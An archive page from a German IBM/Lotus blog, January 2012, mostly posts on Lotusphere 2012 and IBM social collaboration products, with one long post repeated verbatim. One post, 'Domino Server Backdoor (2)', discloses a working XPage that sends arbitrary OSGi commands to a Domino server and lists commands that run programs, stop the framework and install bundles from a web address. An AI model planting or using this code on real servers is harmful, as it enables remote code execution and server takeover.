Archive for: ‘Januar 2012’

IBM’s 5 in 5 für 2011 | Die 5 Technologien von morgen | Teil 5: Analytics

20. Januar 2012 Posted by Andreas Schulze-Kopp

 

Analytics

5in5 Analytics

5in5 Analytics (Bild IBM)

Die wichtigen und relevanten Informationen zum richtigen Zeitpunkt verfügbar

Nach Energy, Security, Mind Reading und Mobile heute nun das letzte Thema der IBM 5in5 für 2011. 

Analytics. Heutzutage nutzen wir SPAM-Filter um von uns nicht gewünschte oder nicht relevante Informationen heraus zu filtern. Wäre es aber nicht viel sinnvoller, durch Analyse der eingehenden Informationen und Profile, die für mich relevanten Daten automatisch (ohne diese einzufordern) geliefert zu bekommen?

Hier nur einige nützliche Beispiele aus dem folgenden Video

  • Reiseplanung | Zieht eine Schlechtwetterzone auf und würde unter Umständen meine Reiseroute beeinträchtigen, werden Vorschläge gemacht um die Route zu ändern.
  • Kultur | Mein Smartphone weiß das ich Fan der Gruppe "XYZ" bin und reserviert Karten für das nächste Konzert in meiner Stadt. Ich brauche die Reservierung nur noch zu bestätigen.

Die Technik liefert mir die Informationen ohne Aufforderung und ich kann entscheiden, was ich mit diesen Informationen tue. Ich bekomme nur die für mich relevanten und wichtigen Informationen geliefert.




Mehr zu diesen Themen auf
ibm.com/smarterplanet.

Wieso Knoweldge Management oder Knowledge Sharing per E-Mail nicht funktionert.

20. Januar 2012 Posted by Roberto Mazzoni

Wer kennt das nicht. Auf dem PC wird ein Dokument erstellt und dieses auf einen Fileserver kopiert, wo Backups’s und Sicherungskopien entstehen. Das Ganze unter dem Pfad /docs/it/bd/leituung/projekte/ ...

Im nächsten Jahr: die 20ste Lotusphere in Orlando, 27.-31.1.2013

20. Januar 2012 Posted by Peter Schütt

Die vielleicht rundeste, schönste, spannenste, innovativste Lotusphere - so einer der Kollegen, der alle 19 Lotusphere's mitgemacht hat - hat ihre Tore geschlossen :-(  

Eines ist super deutlich geworden: Wer dabei war hat den Arbeitsplatz der Zukunft gesehen: Auf (fast) beliebigen Plattformen, auf Basis offener Standards (insbesondere Activiety Stream und OpenSocial), mobil (Smartphone/Tablet), im Browser, Portal oder Desktop-Client, Hersteller- und Applikations-übergreifend integrierend, mit einer sehr klaren, extrem einfach zu benutzenden Oberfläche. Was vor 2 Jahren als Vision "Projekt Vulcan" begann wird 2012 Realität. Meistgehörte Frage: "Können wir das sofort haben?" Die Betas laufen, aber allgemeine Verfügbarkeit ist im Sommer.

Auf die dann 20. Lotusphere im nächsten Jahr freue ich mich jetzt schon: auf die leuchtenden Augen der Kunden, die es dann bereits in Produktion haben werden und berichten, wie cool das ist. Das Hotel kann man natürlich jetzt schon buchen: 27.-31. Januar 2013 :-)

PS.: Und noch ein Dankeschön an unsere Kunden: IBM Collaboration Solutions hat auch im schönen Deutschland 2011 ein phänomenales Wachstum hingelegt! 

 

 

Headz Up: My app of the week

19. Januar 2012 Posted by Alexander Kluge

Security: Domino Server Backdoor (2)

19. Januar 2012 Posted by Sven Hasselbach

Aus einer XPages-Applikation lässt sich der XSP Command Manager (das zugrundeliegende OSGi Framework) fernsteuern. Das Kommando entspricht dem Befehl

tell http xsp <BEFEHL>

auf der Domino Serverkonsole, nur dass hierfür kein Serverkonsolenzugriff benötigt wird.

Mit Hilfe der folgenden XPage lassen sich beliebige OSGi-Kommandos absetzen, also z.B. Prozesse starten, Bundles installieren (egal von welcher Quelle, auch aus dem Internet) und vieles mehr.

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <xp:button value="Send XSP Command" id="button2">
      <xp:eventHandler
         event="onclick"
         submit="true"
         refreshMode="complete">
         <xp:this.action><![CDATA[#{javascript:
            var cmd = getComponent("inputTextXSPCmd").value;
            if( cmd == null || cmd == "")
               return;
            var xcm = com.ibm.domino.xsp.bridge.http.engine.XspCmdManager.getInstance();
            xcm.tell( cmd );}]]>
         </xp:this.action>
      </xp:eventHandler>
   </xp:button>
   <xp:inputText id="inputTextXSPCmd" />
</xp:view>

Die Seite sieht wie folgt aus:

Beim Klicken auf “Send XSP Command” kann man das Ergebnis auf der Serverkonsole sehen:

Hier ein kleiner Auszug über mögliche Kommandos:

  • exec <PROGNAME> startet ein beliebiges Programm
  • fork <PROGNAME> startet ein beliebiges Programm in einem eigenen Thread
  • install http://example.com/osgi-bundle.jar start installiert ein OSGi-Bundle von der angegebenen Adresse
  • init stoppt das gesamte Framework
  • ss listet alle Bundles auf
  • help zeigt alle möglichen Befehle an.

Auch Heap-, System, und Java-Dumps lassen sich hierdurch erstellen.

Von Vision zur Realität: Social Business ist im Business angekommen – Ein erster Eindruck der Lotusphere

19. Januar 2012 Posted by Stefan Pfeiffer

 

Die Lotusphere ist immer eine sehr wichtiges Ereignis, das zu Beginn des Jahres den Ton und Stimmung für das Thema Collaboration und Social Business und die entsprechenden Angebote der IBM vorgibt. Die Konferenz ist nahezu vorbei und einige Kernbotschaften sind klar und deutlich herüber gekommen.

Deutschland ist das führende Land in Social Business oder wie das Konferenzmotto war des Business. Made Social. Viele deutsche Kunden sind in den Keynotes und Breakouts der Lotusphere und IBM Connect (der auf Business--Leute orientierten parallelen Konferenz) aufgetreten. Martina Girkens von Continental sprach über den Weg von Continental hin zu einem Social Business, den kulturellen Wandel und technologische Umsetzung in ConNext, wie das soziale Netzwerk der Continental nun heissen wird.

Beeindruckend war auch der Vortrag von Jörg Dreinhöfer, Vorstandsmitglied der GAD, zu bank21. bank21 im Web wird neue Formen der Zusammenarbeit -- innerhalb der Bank, zwischen Bank und Kunde und zwischen der GAD und den Banken eröffnen. Im Sinne eines Geschäfts, das soziale Funktionen zur Kundenbindung nutzt, ergeben sich neue Service-Modelle und Möglichkeiten für die Interaktion. Das reicht hin, dass Nutzer nicht nur Produkte bestellen, sondern auch Bewertungen wie bei Amazon abgeben können. GAD wird im Projekt auch IBM Docs einsetzen, um so soziales Editieren von Dokumenten in der Cloud zu ermöglichen.

Kurt De Ruwe präsentierte die Einführung sozialer Technologien bei Bayer. Im Bereich Bayer MaterialScience wurde IBM Connections out-of-the-box installiert und trat ohne Anpassung und Training der Anwender einen Siesgzug an. Im Laufe der vergangenen Jahre wurden dann auch Alternativen geprüft, unter anderem Yammer oder auch soziale Plugins wie Newsgator, die auf Sharepoint aufgesetzt werden müssen. Die Entscheidung für den gesamten Bayer-Konzern fiel für IBM Connections, da das Produkt die besten sozialen Funktionen bietet.

Alle Bayer Mitarbeiter erhalten nun Connections, das in Koexistenz mit MIcrosoft-Technologien eingesetzt wird. Bert Oberholz und Cindy Schiebusch stellten dies sehr detailliert in einer der Breakout Sessions vor, wie nahtlos Connection im Outlook-Client, in Windows Explorer und Microsoft Officer funktioniert. Bayer setzt Sharepoint für Dokumente ein und IBM Connections ist das soziale Netzwerk und Kommunikationswerkzeug des Konzerns.

Bayer war nur eines der Beispiele, in denen zwar Sharepoint in einem Unternehmen eingesetzt wurde, jedoch trotzdem oder gerade der Bedarf nach sozialen Technologien bestand. Von Kundenseite wurde und wird immer wieder bestätigt, dass Sharepoint die sozialen Funktionen fehlen und diese auch nicht durch andere Plugins ersetzt werden können. Deshalb bauen immer Kunden, die Sharepoint und Microsoft-Technologien haben, auf Connections. Wie es scheint, versucht nun Microsoft in Deutschland auf den Social Business-Zug aufzuspringen und ein Social Sharepoint zu propagieren. Die Kundenvorträge der Lotusphere und viele andere Kundenbeispiele zeigen aber, dass Sharepoint nur dann wirklich social wird, wenn es von IBM Connections als soziale Software umarmt wird. Vielleicht sollten uns die Microsoft-Kollegen zu ihren Seminaren einladen, damit wir zeigen, was wirklich Social Business heisst ... Ich muss auch etwas in mich hinein lächeln, denn vor 1-2 Jahren haben Mirosoft-Mitarbeiter noch rigoros in einer Konversation aif Twitter abgestritten, jemals das Thema Social Business adressieren zu wollen. Diesmal hat es erstaunlich lange gedauert, bis sie wieder gefolgt sind (und jetzt akribisch in vielen Sessions der Lotusphere mitschreiben, filmen und fotografieren).

Auf der Lotusphere war klar der Sprung von der Vision, die vor 2 Jahren als Project Vulcan beschrieben wurde, zur Umsetzung zu sehen. Die damals angekündigten Funktionen werden nun zu grössten Teilen in 2012 geliefert. Dabei baut IBM massiv auf offene Standards wie Open Social, Actvity Streams und viele mehr auf. Die nächste Version von IBM Connections, die 2012 erscheint, wird Activity Streams enthalten. In den Streams können Informationen aus verschiedenen Quellen zusammenlaufen, aus SAP, CRM-Systemen ebenso wie aus öffentlichen Quellen, sozialen Netzen wie Twitter, oder eben aus Connections selbst. Doch es ist noch deutlich mehr: Diese Informationen können nicht nur angesehen werden, um dann per Mausklick zur entsprechenden Anwendung, beispielsweise dem SAP GUI zu springen, und die Transaktion zu bearbeiten. Nein, beispielsweise kann die Transaktion direkt im Activity Stream bearbeitet werden, z.B. eine Genehmigung erteilt werden. Dies wird als Embedded Experience beschrieben.

An dieser Funktionalität wird ein Design-Prinzip von Connections Next deutlich: Leichte, direkte und einfache Bedienung. Fast könnte man sagen, IBM hat das Apple-Prinzip des Make it simple inhaliert und setzt es nun konsequent um. Actvity Streams sind nur ein Beispiel. Ein weiteres Beispiel ist Connections Mail, das ebenfalls 2012 kommen soll. In den Connections-Client werden direkt E-Mail und Kalender integriert. Ähnlich wie bei Facebook-Mail können Nachrichten sehr einfach gelesen oder beantwortet werden. Es handelt sich dabei bewusst um keinen mit allen Power-Funktionen ausgestatten E-Mail Klienten. Jedoch stehen die wichtigsten und notwendigsten Funktionen zur E-Mail-Bearbeitung direkt zur Verfügung. Keep it simple, keep it efficient. Connections Mail unterstützt Microsoft Exchange und Lotus Notes/Domino als Backend. Für viele Mitarbeiter wird diese Art von E-Mail genügen und sie werden vielleicht gar keinen separaten Power E-Mail Klienten benötigen.

Für mich genau so wichtig ist im Bereich Connections Mail, dass Mails direkt in soziale Interaktionen integriert werden können. Eine wichtige E-Mail, die für andere Kollegen interessant ist, kann in einen Blog oder Wiki überführt werden. Ist eine Aufgabe aufgrund einer E-Mail zu erledigen, kann eine Connections-Aktivität gestarten werden. Die Grenze von E-Mail und sozialen Funktionen verschwindet, beide wachsen zusammen und in vielen Bereichen lösen soziale Interaktionen und Arbeitsweisen die klassische E-Mail ab. Die Share-Funktion von Connections ist ein augenfälliges Beispiel. An allen Stellen kann mit einem Mausklick (oder Wischer) Information geteult werden.

Dieser Weg hin zu sozialer und vernetzter Arbeitsweise, wie wir sie aus dem privaten Web 2.0 kennen, wird auch durch IBM Docs deutlich. IBM Docs ist der neue, cloud-basierte soziale Editor, der in Connections integriert die gemeinsame Bearbeitung von Dokumenten ermöglicht. Natürlich stehen die notwendigen Bearbeitungsfunktionen zur Verfügung. Wesentlich wichtiger ist jedoch, dass eben soziales Editieren unterstützt wird. Kollege X ist für dieses Kapitel zuständig, Kollege Y soll Input in dieser Tabelle geben und Kollege Z prüft die Präsentation und gibt diese frei. IBM Docs geht jetzt in Beta und soll auch 2012 noch ausgeliefert werden.

Soziale Funktionen fliessen in alle Produkte der IBM Collaborations Solutions ein. Von Lotus Notes wird es eine Social Edition geben, die auch Activity Streams und viele andere Funktionen zur Verfügung stellen wird, um im Notes-Client die Embedded Experience zu haben und soziale Funktionen zu nutzen. Das IBM Portal wird immer mehr ein soziales Portal, d.h. soziale Funktionen werden in Webseiten integriert, natürlich intern, aber auch immer extern an der Schnittstelle zu Kunden und Partnern.

Die gerade beschriebenen Funktionen und Arbeitsweisen werden natürlich auch auf mobilen Endgeräten, Tablets und Smart Phones zur Verfügung stehen. Ein weiteres deutliches Zeichen der Lotusphere war die konsequente Unterstützung mobiler Endgeräte. Brian Chang zeigte die neuen Portalfunktionen live auf der Bühne auf einem iPad: Nicht nur zeigte er auf mobile Geröte automatisch optimierte Webseiten. Nein, er machte Web Content Management, das Hinzufügen neuer Seiten, das Editieren, die Analyse von Seiten, all das auf dem Tablet. Ob Instant Messaging mit Sametime, ob Videomeetings und Webkonfernzen, natürlich Social Software oder E-Mail, das gesamte Portfolio ist mobil auf den relevanten mobilen Plattformen von iOS bis Android verfügbar.

Social heisst mobil. Social heisst auch analytisch. So eine weitere Nachricht der Lotusphere. Ich habe mit einem deutschen Berater zusammen gesessen und er fragte mich, warum wir das Thema Social Search nicht deutlicher adressieren. Ich glaube, die IBM adressiert genau dieses Thema, fasst es aber unter Social Analytics zusammen. Informationen werden analysiert und relevante Informationen im Kontext zur Verfügung gestellt. Wenn ich nach einem Thema suche, werden gleich die entsprechenden Experten eingeblendet. Social Rating wird bei der Anzeige von Suchergebnissen berücksichtigt. Behält man dann Watson im Blick, so wird deutlich, welchen Weg IBM geht.

Die Nachricht der Lotusphere aus einer Business-Perspektive ist klar und laut: Social Business ist unterdessen eine Realität und im Alltag angekommen. Unternehmen - gerade in Deutschland - erkennen den Wert und setzen mehr und mehr soziale Technologien ein. Social Business ist immer auch ein Mobile Business. Die Zeiten des Desktops und alleinigen Arbeitens im Büro sind vorbei. Tablets und Smart Phones sind auf dem Siegeszug. Und Social Business braucht Kulturwandel und Change Management. Einführungskonzepte wie AGENDA helfen dabei, den Weg zum Social Business zu gehen.

Emotionaler Höhepunkt der Lotusphere war für mich das Children's Hospital of Boston. Ich gebe zu, dass ich eigentlich schon den Raum verlassen wollte, da ich dachte, was hat denn ein Krankenhaus mit Social Business zu tun. Doch Dr. Jeffery Burns nahm mich gefangen, als er brillant und eloquent schilderte, wie soziale Technologien, Sharing, der offene Austausch medizinischer Informationen und Best Practises, die moderne, offene Kommunikation zwischen Kliniken und Ärzten weltweit, dabei helfen kann im wahrsten Sinne des Wortes Kinderleben zu retten. Dies war bewegend, berührend und zeigte mir, dass ein Social Business im wahrsten Sinne Social sein kann.

Von Vision zur Realität: Social Business ist im Business angekommen – Ein erster Eindruck der Lotusphere

19. Januar 2012 Posted by Stefan Pfeiffer

Die Lotusphere ist immer eine sehr wichtiges Ereignis, das zu Beginn des Jahres den Ton und Stimmung für das Thema Collaboration und Social Business und die entsprechenden Angebote der IBM vorgibt. Die Konferenz ist nahezu vorbei und einige Kernbotschaften sind klar und deutlich herüber gekommen.

Deutschland ist das führende Land in Social Business oder wie das Konferenzmotto war des Business. Made Social. Viele deutsche Kunden sind in den Keynotes und Breakouts der Lotusphere und IBM Connect (der auf Business--Leute orientierten parallelen Konferenz) aufgetreten. Martina Girkens von Continental sprach über den Weg von Continental hin zu einem Social Business, den kulturellen Wandel und technologische Umsetzung in ConNext, wie das soziale Netzwerk der Continental nun heissen wird.

Beeindruckend war auch der Vortrag von Jörg Dreinhöfer, Vorstandsmitglied der GAD, zu bank21. bank21 im Web wird neue Formen der Zusammenarbeit – innerhalb der Bank, zwischen Bank und Kunde und zwischen der GAD und den Banken eröffnen. Im Sinne eines Geschäfts, das soziale Funktionen zur Kundenbindung nutzt, ergeben sich neue Service-Modelle und Möglichkeiten für die Interaktion. Das reicht hin, dass Nutzer nicht nur Produkte bestellen, sondern auch Bewertungen wie bei Amazon abgeben können. GAD wird im Projekt auch IBM Docs einsetzen, um so soziales Editieren von Dokumenten in der Cloud zu ermöglichen.

Kurt De Ruwe präsentierte die Einführung sozialer Technologien bei Bayer. Im Bereich Bayer MaterialScience wurde IBM Connections out-of-the-box installiert und trat ohne Anpassung und Training der Anwender einen Siesgzug an. Im Laufe der vergangenen Jahre wurden dann auch Alternativen geprüft, unter anderem Yammer oder auch soziale Plugins wie Newsgator, die auf Sharepoint aufgesetzt werden müssen. Die Entscheidung für den gesamten Bayer-Konzern fiel für IBM Connections, da das Produkt die besten sozialen Funktionen bietet.

Alle Bayer Mitarbeiter erhalten nun Connections, das in Koexistenz mit MIcrosoft-Technologien eingesetzt wird. Bert Oberholz und Cindy Schiebusch stellten dies sehr detailliert in einer der Breakout Sessions vor, wie nahtlos Connection im Outlook-Client, in Windows Explorer und Microsoft Officer funktioniert. Bayer setzt Sharepoint für Dokumente ein und IBM Connections ist das soziale Netzwerk und Kommunikationswerkzeug des Konzerns.

Bayer war nur eines der Beispiele, in denen zwar Sharepoint in einem Unternehmen eingesetzt wurde, jedoch trotzdem oder gerade der Bedarf nach sozialen Technologien bestand. Von Kundenseite wurde und wird immer wieder bestätigt, dass Sharepoint die sozialen Funktionen fehlen und diese auch nicht durch andere Plugins ersetzt werden können. Deshalb bauen immer Kunden, die Sharepoint und Microsoft-Technologien haben, auf Connections. Wie es scheint, versucht nun Microsoft in Deutschland auf den Social Business-Zug aufzuspringen und ein Social Sharepoint zu propagieren. Die Kundenvorträge der Lotusphere und viele andere Kundenbeispiele zeigen aber, dass Sharepoint nur dann wirklich social wird, wenn es von IBM Connections als soziale Software umarmt wird. Vielleicht sollten uns die Microsoft-Kollegen zu ihren Seminaren einladen, damit wir zeigen, was wirklich Social Business heisst ... Ich muss auch etwas in mich hinein lächeln, denn vor 1-2 Jahren haben Mirosoft-Mitarbeiter noch rigoros in einer Konversation aif Twitter abgestritten, jemals das Thema Social Business adressieren zu wollen. Diesmal hat es erstaunlich lange gedauert, bis sie wieder gefolgt sind (und jetzt akribisch in vielen Sessions der Lotusphere mitschreiben, filmen und fotografieren).

Auf der Lotusphere war klar der Sprung von der Vision, die vor 2 Jahren als Project Vulcan beschrieben wurde, zur Umsetzung zu sehen. Die damals angekündigten Funktionen werden nun zu grössten Teilen in 2012 geliefert. Dabei baut IBM massiv auf offene Standards wie Open Social, Actvity Streams und viele mehr auf. Die nächste Version von IBM Connections, die 2012 erscheint, wird Activity Streams enthalten. In den Streams können Informationen aus verschiedenen Quellen zusammenlaufen, aus SAP, CRM-Systemen ebenso wie aus öffentlichen Quellen, sozialen Netzen wie Twitter, oder eben aus Connections selbst. Doch es ist noch deutlich mehr: Diese Informationen können nicht nur angesehen werden, um dann per Mausklick zur entsprechenden Anwendung, beispielsweise dem SAP GUI zu springen, und die Transaktion zu bearbeiten. Nein, beispielsweise kann die Transaktion direkt im Activity Stream bearbeitet werden, z.B. eine Genehmigung erteilt werden. Dies wird als Embedded Experience beschrieben.

An dieser Funktionalität wird ein Design-Prinzip von Connections Next deutlich: Leichte, direkte und einfache Bedienung. Fast könnte man sagen, IBM hat das Apple-Prinzip des Make it simple inhaliert und setzt es nun konsequent um. Actvity Streams sind nur ein Beispiel. Ein weiteres Beispiel ist Connections Mail, das ebenfalls 2012 kommen soll. In den Connections-Client werden direkt E-Mail und Kalender integriert. Ähnlich wie bei Facebook-Mail können Nachrichten sehr einfach gelesen oder beantwortet werden. Es handelt sich dabei bewusst um keinen mit allen Power-Funktionen ausgestatten E-Mail Klienten. Jedoch stehen die wichtigsten und notwendigsten Funktionen zur E-Mail-Bearbeitung direkt zur Verfügung. Keep it simple, keep it efficient. Connections Mail unterstützt Microsoft Exchange und Lotus Notes/Domino als Backend. Für viele Mitarbeiter wird diese Art von E-Mail genügen und sie werden vielleicht gar keinen separaten Power E-Mail Klienten benötigen.

Für mich genau so wichtig ist im Bereich Connections Mail, dass Mails direkt in soziale Interaktionen integriert werden können. Eine wichtige E-Mail, die für andere Kollegen interessant ist, kann in einen Blog oder Wiki überführt werden. Ist eine Aufgabe aufgrund einer E-Mail zu erledigen, kann eine Connections-Aktivität gestarten werden. Die Grenze von E-Mail und sozialen Funktionen verschwindet, beide wachsen zusammen und in vielen Bereichen lösen soziale Interaktionen und Arbeitsweisen die klassische E-Mail ab. Die Share-Funktion von Connections ist ein augenfälliges Beispiel. An allen Stellen kann mit einem Mausklick (oder Wischer) Information geteult werden.

Dieser Weg hin zu sozialer und vernetzter Arbeitsweise, wie wir sie aus dem privaten Web 2.0 kennen, wird auch durch IBM Docs deutlich. IBM Docs ist der neue, cloud-basierte soziale Editor, der in Connections integriert die gemeinsame Bearbeitung von Dokumenten ermöglicht. Natürlich stehen die notwendigen Bearbeitungsfunktionen zur Verfügung. Wesentlich wichtiger ist jedoch, dass eben soziales Editieren unterstützt wird. Kollege X ist für dieses Kapitel zuständig, Kollege Y soll Input in dieser Tabelle geben und Kollege Z prüft die Präsentation und gibt diese frei. IBM Docs geht jetzt in Beta und soll auch 2012 noch ausgeliefert werden.

Soziale Funktionen fliessen in alle Produkte der IBM Collaborations Solutions ein. Von Lotus Notes wird es eine Social Edition geben, die auch Activity Streams und viele andere Funktionen zur Verfügung stellen wird, um im Notes-Client die Embedded Experience zu haben und soziale Funktionen zu nutzen. Das IBM Portal wird immer mehr ein soziales Portal, d.h. soziale Funktionen werden in Webseiten integriert, natürlich intern, aber auch immer extern an der Schnittstelle zu Kunden und Partnern.

Die gerade beschriebenen Funktionen und Arbeitsweisen werden natürlich auch auf mobilen Endgeräten, Tablets und Smart Phones zur Verfügung stehen. Ein weiteres deutliches Zeichen der Lotusphere war die konsequente Unterstützung mobiler Endgeräte. Brian Chang zeigte die neuen Portalfunktionen live auf der Bühne auf einem iPad: Nicht nur zeigte er auf mobile Geröte automatisch optimierte Webseiten. Nein, er machte Web Content Management, das Hinzufügen neuer Seiten, das Editieren, die Analyse von Seiten, all das auf dem Tablet. Ob Instant Messaging mit Sametime, ob Videomeetings und Webkonfernzen, natürlich Social Software oder E-Mail, das gesamte Portfolio ist mobil auf den relevanten mobilen Plattformen von iOS bis Android verfügbar.

Social heisst mobil. Social heisst auch analytisch. So eine weitere Nachricht der Lotusphere. Ich habe mit einem deutschen Berater zusammen gesessen und er fragte mich, warum wir das Thema Social Search nicht deutlicher adressieren. Ich glaube, die IBM adressiert genau dieses Thema, fasst es aber unter Social Analytics zusammen. Informationen werden analysiert und relevante Informationen im Kontext zur Verfügung gestellt. Wenn ich nach einem Thema suche, werden gleich die entsprechenden Experten eingeblendet. Social Rating wird bei der Anzeige von Suchergebnissen berücksichtigt. Behält man dann Watson im Blick, so wird deutlich, welchen Weg IBM geht.

Die Nachricht der Lotusphere aus einer Business-Perspektive ist klar und laut: Social Business ist unterdessen eine Realität und im Alltag angekommen. Unternehmen - gerade in Deutschland - erkennen den Wert und setzen mehr und mehr soziale Technologien ein. Social Business ist immer auch ein Mobile Business. Die Zeiten des Desktops und alleinigen Arbeitens im Büro sind vorbei. Tablets und Smart Phones sind auf dem Siegeszug. Und Social Business braucht Kulturwandel und Change Management. Einführungskonzepte wie AGENDA helfen dabei, den Weg zum Social Business zu gehen.

Emotionaler Höhepunkt der Lotusphere war für mich das Children's Hospital of Boston. Ich gebe zu, dass ich eigentlich schon den Raum verlassen wollte, da ich dachte, was hat denn ein Krankenhaus mit Social Business zu tun. Doch Dr. Jeffery Burns nahm mich gefangen, als er brillant und eloquent schilderte, wie soziale Technologien, Sharing, der offene Austausch medizinischer Informationen und Best Practises, die moderne, offene Kommunikation zwischen Kliniken und Ärzten weltweit, dabei helfen kann im wahrsten Sinne des Wortes Kinderleben zu retten. Dies war bewegend, berührend und zeigte mir, dass ein Social Business im wahrsten Sinne Social sein kann.

The New Generation “NERD GIRL” Lotusphere 2012

18. Januar 2012 Posted by Noteshexe

NERD GIRL inside (Gregory) NERD GIRL inside (Christoph) NERD GIRL In Training (Kameramann)

Sir Tim Berners Lee an der Lotusphere

18. Januar 2012 Posted by Roberto Mazzoni

Früher oder später, soviel war klar, würde Sir Tim Berners Lee auch an der Lotusphere eingeladen werden, dieses Jahr ist er hier. Tim Berners Lee hat 15 Minuten gesprochen und Semantic Web NUR einmal ...

Schöne Geschichten von der Lotusphere 2012 (2)

18. Januar 2012 Posted by Peter Schütt

In einer Session berichtete ein Kunde davon, dass er IBM Connections trotz einer ansonsten Microsoft-orientierten Strategie sehr erfolgreich einsetzen würde. Dann stellte jemand die Frage, ob und wann man daran denke MS SharePoint abzuschalten? Die Antwort war, dass man das im Moment noch nicht sagen könne. Connections würde sich ja rasant weiterentwickeln und auch immer mehr Dokumentenmanagement-Funktionen bringen. Microsoft würde Sharepoint natürlich auch weiterentwicklen, aber Connections hätte einen wohl kaum einholbaren Vorsprung, den es auch mit der nächsten, bereits im Sommer kommenden Version weiter ausbauen würde. Und man müsse dann mal sehen, was der nächste SharePoint so bringt ... wenn er dann kommt, 2013, 2014 oder 2015. Schallendes Gelächter im vollen Saal.

Schöne Geschichten von der Lotusphere 2012 (1)

18. Januar 2012 Posted by Peter Schütt

imageIn der IBM Connect 2012 Opening Session präsentierte der ehemalige Apple Chief Evangelist Guy Kawasaki ein paar sehr anregende Thesen zum Thema Social Business. Am besten hat mir seine Geschichte mit Richard Branson, dem u.a. Besitzer der Virgin Airline, gefallen.

Die beiden trafen sich einst als Sprecher einer Konferenz. Branson fragte Kawaski mit welcher Airline er so fliegen würde? Der antwortete, dass er nicht Virgin, sondern eine andere Airline nutzen würde und da den Senator-Status hätte und darüber einen ganz tollen Service genießen würde. Branson bückte sich spontan, nahm sein sicherlich nicht ganz billiges Jacket, polierte Kawasaki damit die Schuhe und sagte knapp: "Das ist Service bei Virgin".

Das war überzeugend. Kawasaki fliegt seitdem mit Virgin.

Eine wie ich finde phantastische Geschichte zu Themen wie überraschend überzeugen, unerwartete Dinge tun, innovativ denken, erfolgreich sein.

(Das Photo zeigte er in seinem Vortrag)

      

Lotus Notes/Domino Social Edition

18. Januar 2012 Posted by Matthias Köpp

Für die in diesem Jahr anstehende Notes/Domino-Version 8.5.4 gibt es die Möglichkeit, sie um ein separates Paket von neuen Features zu erweitern. Dieses Paket nennt sich Notes/Domino Social Edition und enthält hauptsächlich Erweiterungen für Notes und iNotes, welche die Integration erhöhen. Weitere ...

Neuer Blog: Soziale Netzwerke und soziale Software

18. Januar 2012 Posted by Stefan Gebhardt

Einmal sei Werbung in eigener Sache erlaubt. FSS hat gestern einen weiteren Blog zum Thema der sozialen Netzwerke und sozialer Software veröffentlicht. Wir freuen uns, wenn die Leser dieses Blogs auch beim (noch) kleinen Bruder bzw. der kleinen Schwester mit lesen und auch gerne diskutieren. Der ...

Jetzt kommt der REST

17. Januar 2012 Posted by Roberto Mazzoni

Zum Einen ist da in der jüngsten Domino Version (8.5.3 Upgrade Pack1) die Möglichkeit, für Applikationen ein REST API bereitzustellen und so Zugang zu Domino Dokumenten via REST zu ermöglichen. Das er ...

Lotusphere 2012 – Ed Brill Messaging and Collabroration Strategie

17. Januar 2012 Posted by Noteshexe

Ed hat die Präsentation zur Messsaging and Collaboration Strategie auf Slideshare gestellt: INV 101 Strategie in Action